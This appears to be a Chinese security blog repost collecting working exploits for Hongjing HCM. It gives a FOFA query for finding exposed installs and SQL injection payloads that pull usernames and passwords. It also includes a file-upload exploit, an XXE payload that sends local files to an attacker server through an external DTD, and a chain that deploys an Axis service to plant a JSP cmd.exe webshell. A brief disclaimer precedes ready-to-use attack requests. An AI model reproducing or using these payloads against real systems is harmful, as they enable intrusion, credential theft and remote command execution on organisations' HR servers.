阅读须知
悟空安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
fofa语法
FOFA：body='<div class="hj-hy-all-one-logo"'
宏景HCM KhFieldtree SQL注入漏洞1
/templates/attestation/.%2e/.%2e/servlet/performance/KhFieldTree?pointsetid=-1&subsys_id=1';waitfor+delay+'0:0:5'+--
宏景HCM SQL注入漏洞2
/servlet/codesettree?categories=[加密后的恶意sql]&codesetid=1&flag=c&parentid=-1&status=1注：这里需要对hrms中的sql语句进行编码
工具地址：https://github.com/vaycore/HrmsTool
java -jar HrmsTool.jar -e "1' union all select 'hongjing',@@version--"
构造payload（查询数据库版本）
GET /servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d&codesetid=1&flag=c&parentid=-1&status=1 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
验证POC：
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d
宏景HCM 文件上传漏洞
POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1Content-Type:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36Host:Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 418DBSTEP V3.0 351 0 666 DBSTEP=REJTVEVQOPTION=U0FWRUZJTEU=currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66FILETYPE=Li5cMW5kZXguanNwRECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6originalFileId=wV66originalCreateDate=wUghPB3szB3Xwg66FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6needReadFile=yRWZdAS6originalCreateDate=wLSGP4oEzLKAz4=iz=66helloword
注：请求体中的FILETYPE字段是base64加密的上传文件名
尝试上传
验证
宏景HCM xxe漏洞
xxe漏洞利用
准备公网服务器，开启一个python的http服务
python3 -m http.server在http服务目录下新建一个dtd文件，utf-8格式：
XML<!ENTITY % all"<!ENTITY % send SYSTEM 'aaa://%file;'>">%all;
这样就可以在漏洞环境中，直接测试一下存在的目录了：
poc：x.x.x.x填写vps地址
HTTPPOST /services/HrSoapService HTTP/1.1Accept-Encoding: gzip,deflateContent-Type: text/xml;charset=UTF-8SOAPAction: ""Content-Length: 600Host: targethostConnection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<!ENTITY % file SYSTEM "file:///home/apache-tomcat-9.0.37/webapps/"><!ENTITY % dtd SYSTEM "http://x.x.x.x:8000/my.dtd">%dtd;%send;]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrs="http://www.hjsoft.com.cn/HrSoapService">
注意：file需要根据指定环境了。如果是windows：file:///c:/
执行命令利用
创建一个axis的服务
我们先创建一个axis服务，poc如下
HTTPPOST /services/HrSoapService HTTP/1.1Accept-Encoding: gzip,deflateContent-Type: text/xml;charset=UTF-8SOAPAction: ""Content-Length: 1265Host: x.x.x.xConnection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY a SYSTEM "http://localhost:80/w_selfservice/oauthservlet/%2e%2e/%2e%2e/axisservices/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22random4%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell4.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrs="http://www.hjsoft.com.cn/HrSoapService"><soapenv:Header/><soapenv:Body><hrs:syncProcess><hrs:in0>aaa &a;</hrs:in0><hrs:in1>aaa</hrs:in1><hrs:in2>aaa</hrs:in2></hrs:syncProcess></soapenv:Body></soapenvHTTP:Envelope>
写一个cmd马
HTTPPOST /axisservices/random4 HTTP/1.1Host: x.x.x.x:80Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 964<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java"><soapenv:Header/><soapenv:Body><util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>]]></in0><in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1></util:ints></soapenv:Body></soapenv:Envelope>
shell命令为http://x.x.x.x/shell4.jsp?c=whoami。
更多poc尽在风信子社区
原文始发于微信公众号（悟空安全）：宏景HCM 漏洞合集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论